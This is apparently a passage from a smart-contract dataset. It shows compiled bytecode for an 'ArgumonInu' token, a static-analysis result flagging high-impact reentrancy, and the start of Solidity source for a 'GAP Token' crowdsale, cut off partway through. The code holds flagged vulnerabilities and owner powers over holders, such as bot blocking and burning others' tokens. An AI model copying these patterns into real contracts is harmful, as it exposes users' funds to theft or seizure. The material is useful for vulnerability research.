06040518060400160405280600981526020017f4167756d6f6e496e750000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113ff565b8484611407565b6001905092915050565b60006706f05b59d3b20000905090565b6104ea6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c51565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612ccf565b91505061057a565b5050565b60006106198484846115d0565b6106da846106256113ff565b6106d58560405180606001604052806028815260200161370660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c619092919063ffffffff16565b611407565b600190509392505050565b6106ed6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c51565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c51565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c51565b60405180910390fd5b6000811161093257600080fd5b6109606064610952836706f05b59d3b20000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113ff565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d89565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df5565b9050919050565b610a346113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c51565b60405180910390fd5b6706f05b59d3b20000600f819055506706f05b59d3b20000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4167756d6f6e496e750000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113ff565b84846115d0565b6001905092915050565b610cc06113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c51565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a836706f05b59d3b20000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113ff565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e63565b50565b610e136113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c51565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d63565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b20000611407565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d98565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d98565b6040518363ffffffff1660e01b8152600401611096929190612dc5565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d98565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612e33565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612ea9565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061123b6103e861122d600f6706f05b59d3b20000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f819055506112716103e8611263601e6706f05b59d3b20000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611331929190612efc565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190612f3a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc9061306b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c391906128b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611636906130fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a59061318f565b60405180910390fd5b600081116116f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e890613221565b60405180910390fd5b6000600a81905550600a600b81905550611709610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117775750611747610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118205750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561192a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119425750600e60179054906101000a900460ff165b15611a8057600f5481111561198c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119839061328d565b60405180910390fd5b60105481611999846109db565b6119a391906132ad565b11156119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119db9061334f565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2f57600080fd5b601e42611a3c91906132ad565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b2b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b97576000600a81905550600a600b819055505b6000611ba2306109db565b9050600e60159054906101000a900460ff16158015611c0f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c275750600e60169054906101000a900460ff165b15611c4f57611c3581611e63565b60004790506000811115611c4d57611c4c47611d89565b5b505b505b611c5c8383836120dc565b505050565b6000838311158290611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca09190612763565b60405180910390fd5b5060008385611cb8919061336f565b9050809150509392505050565b6000808303611cd75760009050611d39565b60008284611ce591906133a3565b9050828482611cf4919061342c565b14611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b906134cf565b60405180910390fd5b809150505b92915050565b6000611d8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ec565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df1573d6000803e3d6000fd5b5050565b6000600854821115611e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3390613561565b60405180910390fd5b6000611e4661214f565b9050611e5b8184611d3f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9b57611e9a6128d2565b5b604051908082528060200260200182016040528015611ec95781602001602082028036833780820191505090505b5090503081600081518110611ee157611ee0612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fac9190612d98565b81600181518110611fc057611fbf612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611407565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061363f565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120e783838361217a565b505050565b60008083118290612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a9190612763565b60405180910390fd5b5060008385612142919061342c565b9050809150509392505050565b600080600061215c612345565b915091506121738183611d3f90919063ffffffff16565b9250505090565b60008060008060008061218c876123a4565b9550955095509550955095506121ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122cb816124b4565b6122d58483612571565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233291906128b2565b60405180910390a3505050505050505050565b6000806000600854905060006706f05b59d3b2000090506123796706f05b59d3b20000600854611d3f90919063ffffffff16565b821015612397576008546706f05b59d3b200009350935050506123a0565b81819350935050505b9091565b60008060008060008060008060006123c18a600a54600b546125ab565b92509250925060006123d161214f565b905060008060006123e48e878787612641565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061244e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c61565b905092915050565b600080828461246591906132ad565b9050838110156124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a1906136e5565b60405180910390fd5b8091505092915050565b60006124be61214f565b905060006124d58284611cc590919063ffffffff16565b905061252981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125868260085461240c90919063ffffffff16565b6008819055506125a18160095461245690919063ffffffff16565b6009819055505050565b6000806000806125d760646125c9888a611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061260160646125f3888b611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061262a8261261c858c61240c90919063ffffffff16565b61240c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061265a8589611cc590919063ffffffff16565b905060006126718689611cc590919063ffffffff16565b905060006126888789611cc590919063ffffffff16565b905060006126b1826126a3858761240c90919063ffffffff16565b61240c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127045780820151818401526020810190506126e9565b83811115612713576000848401525b50505050565b6000601f19601f8301169050919050565b6000612735826126ca565b61273f81856126d5565b935061274f8185602086016126e6565b61275881612719565b840191505092915050565b6000602082019050818103600083015261277d818461272a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127c482612799565b9050919050565b6127d4816127b9565b81146127df57600080fd5b50565b6000813590506127f1816127cb565b92915050565b6000819050919050565b61280a816127f7565b811461281557600080fd5b50565b60008135905061282781612801565b92915050565b600080604083850312156128445761284361278f565b5b6000612852858286016127e2565b925050602061286385828601612818565b9150509250929050565b60008115159050919050565b6128828161286d565b82525050565b600060208201905061289d6000830184612879565b92915050565b6128ac816127f7565b82525050565b60006020820190506128c760008301846128a3565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61290a82612719565b810181811067ffffffffffffffff82111715612929576129286128d2565b5b80604052505050565b600061293c612785565b90506129488282612901565b919050565b600067ffffffffffffffff821115612968576129676128d2565b5b602082029050602081019050919050565b600080fd5b600061299161298c8461294d565b612932565b905080838252602082019050602084028301858111156129b4576129b3612979565b5b835b818110156129dd57806129c988826127e2565b8452602084019350506020810190506129b6565b5050509392505050565b600082601f8301126129fc576129fb6128cd565b5b8135612a0c84826020860161297e565b91505092915050565b600060208284031215612a2b57612a2a61278f565b5b600082013567ffffffffffffffff811115612a4957612a48612794565b5b612a55848285016129e7565b91505092915050565b600080600060608486031215612a7757612a7661278f565b5b6000612a85868287016127e2565b9350506020612a96868287016127e2565b9250506040612aa786828701612818565b9150509250925092565b600060208284031215612ac757612ac661278f565b5b6000612ad5848285016127e2565b91505092915050565b600060ff82169050919050565b612af481612ade565b82525050565b6000602082019050612b0f6000830184612aeb565b92915050565b612b1e8161286d565b8114612b2957600080fd5b50565b600081359050612b3b81612b15565b92915050565b600060208284031215612b5757612b5661278f565b5b6000612b6584828501612b2c565b91505092915050565b600060208284031215612b8457612b8361278f565b5b6000612b9284828501612818565b91505092915050565b612ba4816127b9565b82525050565b6000602082019050612bbf6000830184612b9b565b92915050565b60008060408385031215612bdc57612bdb61278f565b5b6000612bea858286016127e2565b9250506020612bfb858286016127e2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c3b6020836126d5565b9150612c4682612c05565b602082019050919050565b60006020820190508181036000830152612c6a81612c2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cda826127f7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d0c57612d0b612ca0565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d4d6017836126d5565b9150612d5882612d17565b602082019050919050565b60006020820190508181036000830152612d7c81612d40565b9050919050565b600081519050612d92816127cb565b92915050565b600060208284031215612dae57612dad61278f565b5b6000612dbc84828501612d83565b91505092915050565b6000604082019050612dda6000830185612b9b565b612de76020830184612b9b565b9392505050565b6000819050919050565b6000819050919050565b6000612e1d612e18612e1384612dee565b612df8565b6127f7565b9050919050565b612e2d81612e02565b82525050565b600060c082019050612e486000830189612b9b565b612e5560208301886128a3565b612e626040830187612e24565b612e6f6060830186612e24565b612e7c6080830185612b9b565b612e8960a08301846128a3565b979650505050505050565b600081519050612ea381612801565b92915050565b600080600060608486031215612ec257612ec161278f565b5b6000612ed086828701612e94565b9350506020612ee186828701612e94565b9250506040612ef286828701612e94565b9150509250925092565b6000604082019050612f116000830185612b9b565b612f1e60208301846128a3565b9392505050565b600081519050612f3481612b15565b92915050565b600060208284031215612f5057612f4f61278f565b5b6000612f5e84828501612f25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fc36024836126d5565b9150612fce82612f67565b604082019050919050565b60006020820190508181036000830152612ff281612fb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130556022836126d5565b915061306082612ff9565b604082019050919050565b6000602082019050818103600083015261308481613048565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e76025836126d5565b91506130f28261308b565b604082019050919050565b60006020820190508181036000830152613116816130da565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131796023836126d5565b91506131848261311d565b604082019050919050565b600060208201905081810360008301526131a88161316c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061320b6029836126d5565b9150613216826131af565b604082019050919050565b6000602082019050818103600083015261323a816131fe565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132776019836126d5565b915061328282613241565b602082019050919050565b600060208201905081810360008301526132a68161326a565b9050919050565b60006132b8826127f7565b91506132c3836127f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132f8576132f7612ca0565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613339601a836126d5565b915061334482613303565b602082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b600061337a826127f7565b9150613385836127f7565b92508282101561339857613397612ca0565b5b828203905092915050565b60006133ae826127f7565b91506133b9836127f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f2576133f1612ca0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613437826127f7565b9150613442836127f7565b925082613452576134516133fd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134b96021836126d5565b91506134c48261345d565b604082019050919050565b600060208201905081810360008301526134e8816134ac565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061354b602a836126d5565b9150613556826134ef565b604082019050919050565b6000602082019050818103600083015261357a8161353e565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135b6816127b9565b82525050565b60006135c883836135ad565b60208301905092915050565b6000602082019050919050565b60006135ec82613581565b6135f6818561358c565b93506136018361359d565b8060005b8381101561363257815161361988826135bc565b9750613624836135d4565b925050600181019050613605565b5085935050505092915050565b600060a08201905061365460008301886128a3565b6136616020830187612e24565b818103604083015261367381866135e1565b90506136826060830185612b9b565b61368f60808301846128a3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136cf601b836126d5565b91506136da82613699565b602082019050919050565b600060208201905081810360008301526136fe816136c2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203984256c68f309def32c74c9190a6b9bb484362751cbdc996c62fdc56f51c3a164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,724 |
0x2d8db9cf8bd7c02ae6dbd993366362bd91610f1c
|
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
modifier notMint() { require(mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/*
ICO Gap
- Crowdsale goes in 4 steps:
- 1st step PreSale 0: the administrator can issue tokens; purchase and sale are closed; Max. tokens 5 000 000
- 2nd step PreSale 1: the administrator can not issue tokens; the sale is open; purchase is closed; Max. tokens 5 000 000 + 10 000 000
- The third step of PreSale 2: the administrator can not issue tokens; the sale is open; purchase is closed; Max. tokens 5 000 000 + 10 000 000 + 15 000 000
- 4th step ICO: administrator can not issue tokens; the sale is open; the purchase is open; Max. tokens 5 000 000 + 10 000 000 + 15 000 000 + 30 000 000
Addition:
- Total emissions are limited: 100,000,000 tokens
- at each step it is possible to change the price of the token
- the steps are not limited in time and the step change is made by the nextStep administrator
- funds are accumulated on a contract basis
- at any time closeCrowdsale can be called: the funds and management of the token are transferred to the beneficiary; the release of + 65% of tokens to the beneficiary; minting closes
- at any time, refundCrowdsale can be called: funds remain on the contract; withdraw becomes unavailable; there is an opportunity to get refund
- transfer of tokens before closeCrowdsale is unavailable
- you can buy no more than 500 000 tokens for 1 purse.
*/
contract Token is CappedToken, BurnableToken {
function Token() CappedToken(100000000 * 1 ether) StandardToken("GAP Token", "GAP", 18) public {
}
function transfer(address _to, uint256 _value) notMint public returns(bool) {
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) notMint public returns(bool) {
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) notMint public returns(bool) {
return super.transferFrom(_from, _to, _value);
}
function burnOwner(address _from, uint256 _value) onlyOwner canMint public {
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
}
}
contract Crowdsale is Pausable {
using SafeMath for uint;
struct Step {
uint priceTokenWei;
uint tokensForSale;
uint tokensSold;
uint collectedWei;
bool purchase;
bool issue;
bool sale;
}
